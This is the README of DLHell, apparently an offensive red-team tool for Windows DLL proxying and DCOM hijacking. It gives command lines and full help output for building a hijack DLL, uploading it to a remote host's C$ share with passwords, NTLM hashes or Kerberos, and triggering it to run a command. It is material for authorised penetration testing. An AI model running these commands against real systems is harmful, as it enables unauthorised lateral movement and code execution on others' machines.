DLHell performs DCOM local & remote Windows DLL Proxying.
The following packages are required (might depend on your distro, the following example is for Debian 12):
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64Install pip dependencies:
pip3 install -r requirements.txtThe following command hijacks the netutils.dll library on host 10.137.0.48
from the template.tpe template file (C++ source hijack library) which
launches calc.exe. Both original & proxy DLL will be placed in the program files/windows nt/accessories/ folder of the C$ share on the remote target.
Please use Impacket syntax for the -remote-target option.
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'Kerberos authentication can also be used:
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1List available CLSID & ProgIDs:
DLHell.py -list ____ _ _ _ _ _
| _ \| | | | | | ___| | |
| | | | | | |_| |/ _ \ | |
| |_| | |___| _ | __/ | |
|____/|_____|_| |_|\___|_|_|
DLHell v1.0
usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
[-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
[-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-target-ip ip address] [-port [destination port]]
DLL Hell - DLL Proxifier/Hijacker
options:
-h, --help show this help message and exit
-local-lib LOCAL_LIB Path of the remote library on the local system, ex: version.dll
-remote-lib REMOTE_LIB
Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
Will connect using SMB on C$ share. Admin rights needed. Requires -target
-local-target LOCAL_TARGET
The new name of the local output proxyfied library
-remote-target REMOTE_TARGET
The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
share. Admin rights needed. Requires -target
-target TARGET [[domain/]username[:password]@]<targetName or address>
-clsid CLSID CLSID of DCOM class to activate
-progid PROGID ProgID of DCOM class to activate
-t T, -template T Template file to use for lib generation
-c C, -command C Command to execute using hijacked lib
-u U, -user U Name of the user to hijack (used to put DLLs in localappdata folder)
-l, -list Lists vulnerable CLSID & ProgID for DCOM Hijacking
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN)
specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as
target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
For Local DLL crafting, use the -local-lib (name of the proxy DLL) and
-local-target (renamed original DLL) options:
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'For remote DLL hijacking, specify the -target, -remote-lib (name of the
original DLL on the remote host) and -local-target (renamed original DLL)
options:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'DCOM DLL Proxying can be exploited using the -progid and -clsid options.
The list of available CLSIDs & ProgIDs is available with the following command:
DLHell.py -listYou can add new hijacks to the dcom.json file which defines paths for
vulnerable libraries:
Then, only the ProgID or CLSID are required to:
- Get the original DLL
- Create and compile the hijack library
- Upload the libraries on the remote host
- Activate the remote DCOM class
Example for ProgID WordPad.Document.1:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1Example for CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959:
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent